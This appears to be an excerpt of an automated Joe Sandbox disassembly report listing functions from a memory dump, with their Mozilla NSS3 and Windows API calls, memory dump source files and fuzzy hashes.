Instruction ID: 9cc2dd7125ea6d347669a240fb133b11c12e998f4e715d73d14b641289594496
Opcode Fuzzy Hash: bf211f69730d2cf5cd44aac1332c7e4bb9d882fbad5c4c8e06f2fab415c4a6c5
Instruction Fuzzy Hash: C8519E32908B658ACB11DF34C85022BFBF1BF86B94F048A5DE895AB150EB39D4D5C753

Function 6BA2FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6BA2FDFE), ref: 6BA2FFAD

Part of subcall function 6B9CCA30: EnterCriticalSection.KERNEL32(?,?,?,6BA2F9C9,?,6BA2F4DA,6BA2F9C9,?,?,6B9F369A), ref: 6B9CCA7A
Part of subcall function 6B9CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6B9CCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6BA2FDFE), ref: 6BA2FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6BA2FDFE), ref: 6BA3001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6BA2FDFE), ref: 6BA3006F

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 8a98a32b1b0adecaec8c8aef11456498b479d20e40fdd6ca64ed1a64e4c7f595
Instruction ID: a31c39f399def601b11779e96efcfefda86f656105fde23b282cd664a905e797
Opcode Fuzzy Hash: 8a98a32b1b0adecaec8c8aef11456498b479d20e40fdd6ca64ed1a64e4c7f595
Instruction Fuzzy Hash: 37419375E00225AFDF14DFA4D996ABE7775FF46300F080029D806A7340EB3AD991CBA1

Function 6BB5A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6BB5A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6BB5A662), ref: 6BB5A69E
Part of subcall function 6BB5A690: PR_NewCondVar.NSS3(?), ref: 6BB5A6B4

PR_IntervalNow.NSS3 ref: 6BB5A8C6
EnterCriticalSection.KERNEL32(?), ref: 6BB5A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6BB5A944
PR_SetPollableEvent.NSS3(?), ref: 6BB5A94F

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: ff06081e73568364036c2799637604d6f9071127e093e87f99507f6d4c45702a
Instruction ID: 049768a6f747c3e3fc6573be066a11de610f61a6723a9fa52e4711189cd93b29
Opcode Fuzzy Hash: ff06081e73568364036c2799637604d6f9071127e093e87f99507f6d4c45702a
Instruction Fuzzy Hash: A24145B5A01A52DFCB04CF29C58095AFBF1FF48314715856AE84ADBB11E735E860CFA1

Function 6BACD830 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000040,?,?,00000000,?,6BADACA2,?), ref: 6BACD838

Part of subcall function 6BAA0D30: calloc.MOZGLUE ref: 6BAA0D50
Part of subcall function 6BAA0D30: TlsGetValue.KERNEL32 ref: 6BAA0D6D

SECITEM_DupArray.NSS3(00000000,?,?), ref: 6BACD8D5
SECITEM_CopyItem_Util.NSS3(00000000,00000024,?,?), ref: 6BACD8F7
SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?,?,?,?,?), ref: 6BACD90F

Part of subcall function 6BA606A0: TlsGetValue.KERNEL32 ref: 6BA606C2
Part of subcall function 6BA606A0: EnterCriticalSection.KERNEL32(?), ref: 6BA606D6
Part of subcall function 6BA606A0: PR_Unlock.NSS3 ref: 6BA606EB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$CopyItem_Value$Alloc_ArrayCriticalEnterSectionUnlockcalloc
String ID:
API String ID: 3461301972-0
Opcode ID: 024def680c6836079a9857568564eadeeca3294f0d1f642e00e908b22e3dfd6c
Instruction ID: a9b15e3b70050a1fc89e6c708c791ee221dc62faf3f16f369f593a0d9bd11359
Opcode Fuzzy Hash: 024def680c6836079a9857568564eadeeca3294f0d1f642e00e908b22e3dfd6c
Instruction Fuzzy Hash: 1A312CB4A80B019FEB60CF39D941B17B7E4FF08644B04452ED88AC2A51F734F594CBA6

Function 6BA29980 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89F,00000000,?,?,?,?,?,6BA2996F,?,00000001,00000000), ref: 6BA29A3A
PR_CallOnce.NSS3(6BBA14E4,6BB0CC70,?,?,?,?,?,6BA2996F,?,00000001,00000000), ref: 6BA29A50
PR_SetError.NSS3(FFFFE890,00000000), ref: 6BA29A81
_pr_push_ipv6toipv4_layer.NSS3(00000000), ref: 6BA29A97

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$CallOnce_pr_push_ipv6toipv4_layer
String ID:
API String ID: 329733494-0
Opcode ID: 82e8e5a1de087263b1a0c984e18f70b0d4cba2e85e7629b08b60d9fd309cd0fc
Instruction ID: 31237b7102dc0901a309335a00f0be718715f8693a4aae999f03aeb436e4aed8
Opcode Fuzzy Hash: 82e8e5a1de087263b1a0c984e18f70b0d4cba2e85e7629b08b60d9fd309cd0fc
Instruction Fuzzy Hash: 2031D774E042016FEF109A3C9E8676D77D5AB86B18F1C4534E81AD7392E739DC81C792

Function 6BAB2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6BAB2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6BAB2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BAB294C
free.MOZGLUE(?), ref: 6BAB2955

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 72d4af3f72c3c86ce1c8e27178e7b1b3f91493496fbc1bab72de77a176fcc1c4
Instruction ID: 9d8ca14c7a4560f832d1bc48836df6ad804614f474f8da011d73eb30687a6414
Opcode Fuzzy Hash: 72d4af3f72c3c86ce1c8e27178e7b1b3f91493496fbc1bab72de77a176fcc1c4
Instruction Fuzzy Hash: 2D21B5B5600700ABEF209F36ED05F177BEDAF89358F080539E46D87261FB3AE4948651

Function 6BA95AF0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA95B0F
EnterCriticalSection.KERNEL32(?), ref: 6BA95B23
PR_SetError.NSS3(00000000,00000000), ref: 6BA95B80
PR_Unlock.NSS3(?), ref: 6BA95B8E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: e421562b730468dbb8d56b4e8a3d336d5ddf761a010edced9a74a1d1fe04485f
Instruction ID: a9145cecfc5e5e553b33743cfbcd3b521dfc48f2d86ab36139d63e3a97a81f0f
Opcode Fuzzy Hash: e421562b730468dbb8d56b4e8a3d336d5ddf761a010edced9a74a1d1fe04485f
Instruction Fuzzy Hash: 5621F771D10214AFEF10AB78EC47B6AB7A4BB06715F040125EE059B241F729E990C7E1

Function 6BAEA8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6BAD2AE9,00000000,0000065C), ref: 6BAEA91D

Part of subcall function 6BA8ADC0: TlsGetValue.KERNEL32(?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AE10
Part of subcall function 6BA8ADC0: EnterCriticalSection.KERNEL32(?,?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AE24
Part of subcall function 6BA8ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6BA6D079,00000000,00000001), ref: 6BA8AE5A
Part of subcall function 6BA8ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AE6F
Part of subcall function 6BA8ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AE7F
Part of subcall function 6BA8ADC0: TlsGetValue.KERNEL32(?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AEB1
Part of subcall function 6BA8ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6BAD2AE9,00000000,0000065C), ref: 6BAEA934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6BAD2AE9,00000000,0000065C), ref: 6BAEA949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6BAEA952

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 6a06729ed6a809226beb2f4d16b9a0d6830febef0f8fb8bc120f26700b3c0eed
Instruction ID: dd2788f37c135d216a6a2291aceb251489ebbc106621ab76f9fbd8db515c45e0
Opcode Fuzzy Hash: 6a06729ed6a809226beb2f4d16b9a0d6830febef0f8fb8bc120f26700b3c0eed
Instruction Fuzzy Hash: B63137B46002019FDB04CF28DA80E26BBF9FF49314F1981A9E8098B356E735E841CBA1

Function 6BA8BA00 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e640cbf0f189878edb48ccf96252e20ef2e0bcd64d93d3e8bc1126cb5a33d396
Instruction ID: 50cd5ff76741249265590e77d2a66a7525e2d6b4effebe0f40d874d80a39efc2
Opcode Fuzzy Hash: e640cbf0f189878edb48ccf96252e20ef2e0bcd64d93d3e8bc1126cb5a33d396
Instruction Fuzzy Hash: BA1136B5A5010027EE105578AC6277EB249DF92608FDC0779F41687E92FB1FE6C142D3

Function 6BA698A0 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98821
Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA9883D
Part of subcall function 6BA98800: EnterCriticalSection.KERNEL32(?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98856
Part of subcall function 6BA98800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6BA98887
Part of subcall function 6BA98800: PR_Unlock.NSS3(?,?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98899

TlsGetValue.KERNEL32 ref: 6BA698F5
EnterCriticalSection.KERNEL32 ref: 6BA6990E
PR_Unlock.NSS3 ref: 6BA69942
PR_SetError.NSS3 ref: 6BA6995E

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CondErrorWait
String ID:
API String ID: 1779658291-0
Opcode ID: eb32f0b80030b34f371f8c76d8eced8d8626d76b1715543691b45980bdf01f11
Instruction ID: 6b84b4eac3c78a3efaa4b90694b3e57b093b49f4d51786db95774c392540e0ca
Opcode Fuzzy Hash: eb32f0b80030b34f371f8c76d8eced8d8626d76b1715543691b45980bdf01f11
Instruction Fuzzy Hash: 413146B1A046148FDF40EF69C28566EBBF4FF09344F014469D8999B312EB39E881CB92

Function 6BAD1A00 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6BBA2F88,6BAD0660), ref: 6BAD1A4B
TlsGetValue.KERNEL32 ref: 6BAD1A5F
EnterCriticalSection.KERNEL32(00000080), ref: 6BAD1A6F
PR_Unlock.NSS3 ref: 6BAD1ABF

Part of subcall function 6BAD4540: TlsGetValue.KERNEL32 ref: 6BAD4571
Part of subcall function 6BAD4540: memset.VCRUNTIME140(?,00000000,00000000), ref: 6BAD45B1
Part of subcall function 6BAD4540: memcpy.VCRUNTIME140(?,?,00000020), ref: 6BAD45C2
Part of subcall function 6BAD4540: PR_Now.NSS3 ref: 6BAD4626

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CallCriticalEnterOnceSectionUnlockmemcpymemset
String ID:
API String ID: 2417788363-0
Opcode ID: a590159f761c5def52fea2e95d5cae4c6e10fc1023b4e586c36909dae2a29178
Instruction ID: e46d23e38d117caf35bee15571fffc898a92782dc0213cd3f249f0f1fe845545
Opcode Fuzzy Hash: a590159f761c5def52fea2e95d5cae4c6e10fc1023b4e586c36909dae2a29178
Instruction Fuzzy Hash: 842134B0A04210AFEF019F68D985B7877B8FF42318F4802A5E81887271E73AD4C0C791

Function 6BA81B10 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6BA53147,?,?), ref: 6BA81B41
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6BA53147,?,?), ref: 6BA81B51
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA53147), ref: 6BA81B7C
PR_SetError.NSS3(00000000,00000000), ref: 6BA81B94

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 4808c45cb05a20fa7a0b1a426be6ed2589948f41a4b363c58c7bb65b51c299b6
Instruction ID: 16db7ac59a4dc6296acd06eeb5f7208a0773e3c0468a51d00c6c0838f7d3e71f
Opcode Fuzzy Hash: 4808c45cb05a20fa7a0b1a426be6ed2589948f41a4b363c58c7bb65b51c299b6
Instruction Fuzzy Hash: E621F271D001289BDF00AF78DD46ABEBB74FF0A714F040169EC15A7201EB35D9518BE1

Function 6BA81870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA818A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6BA66C34,?,?,00000001,00000000,00000007,?), ref: 6BA818B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6BA66C34,?,?), ref: 6BA818E1
PR_SetError.NSS3(00000000,00000000), ref: 6BA818F9

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 29dc0737eb9124fcefdc84bcd5afde8143b364f3d7025c011d02b7c2c7d8da56
Instruction ID: 41c547b614f60caff82657ed994d08032589eeef95e83c935e9743dd1837a0ed
Opcode Fuzzy Hash: 29dc0737eb9124fcefdc84bcd5afde8143b364f3d7025c011d02b7c2c7d8da56
Instruction Fuzzy Hash: 6A21A171D002199BDF00AF68D856ABE7B64FF0A314F440169ED1557301EB3AA955CBE1

Function 6BA469B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6BA46AB7,0000000C,00000001,00000000,?,?,6BA46AB7,?,00000000,?), ref: 6BA469CE

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

SEC_ASN1EncodeItem_Util.NSS3(6BA46AB7,0000001C,00000004,?,00000001,00000000), ref: 6BA46A06
SEC_ASN1EncodeItem_Util.NSS3(6BA46AB7,?,00000000,?,00000001,00000000,?,?,6BA46AB7,?,00000000,?), ref: 6BA46A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6BA46AB7,?,00000000,?), ref: 6BA46A42

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: baf1c96668eda6d5a57744443dd34bcb268905e8bc99bd445806ca95e36d1b84
Instruction ID: ddd2cdf940d7a70bf451a6a007e86d0cd2e81f8dd06d97fe31ffc2f962f3b0ab
Opcode Fuzzy Hash: baf1c96668eda6d5a57744443dd34bcb268905e8bc99bd445806ca95e36d1b84
Instruction Fuzzy Hash: 8511BF71A00A01AFEF10CE28DC81B6677BCEB44658F1485B9EA19C7341F339E89986A0

Function 6BB5CB30 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 6BB09890: TlsGetValue.KERNEL32(?,?,?,6BB097EB), ref: 6BB0989E

EnterCriticalSection.KERNEL32(0000001E,?,?,00000000,?,6BAD5262,?,?,?,6BACE333,?,?,6BACDC77), ref: 6BB5CB47
_PR_MD_UNLOCK.NSS3(-0000001A,?,6BAD5262,?,?,?,6BACE333,?,?,6BACDC77), ref: 6BB5CB99
_PR_MD_NOTIFYALL_CV.NSS3(?,?,?,6BAD5262,?,?,?,6BACE333,?,?,6BACDC77), ref: 6BB5CBC3
_PR_MD_NOTIFY_CV.NSS3(?,?,?,6BAD5262,?,?,?,6BACE333,?,?,6BACDC77), ref: 6BB5CBD2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

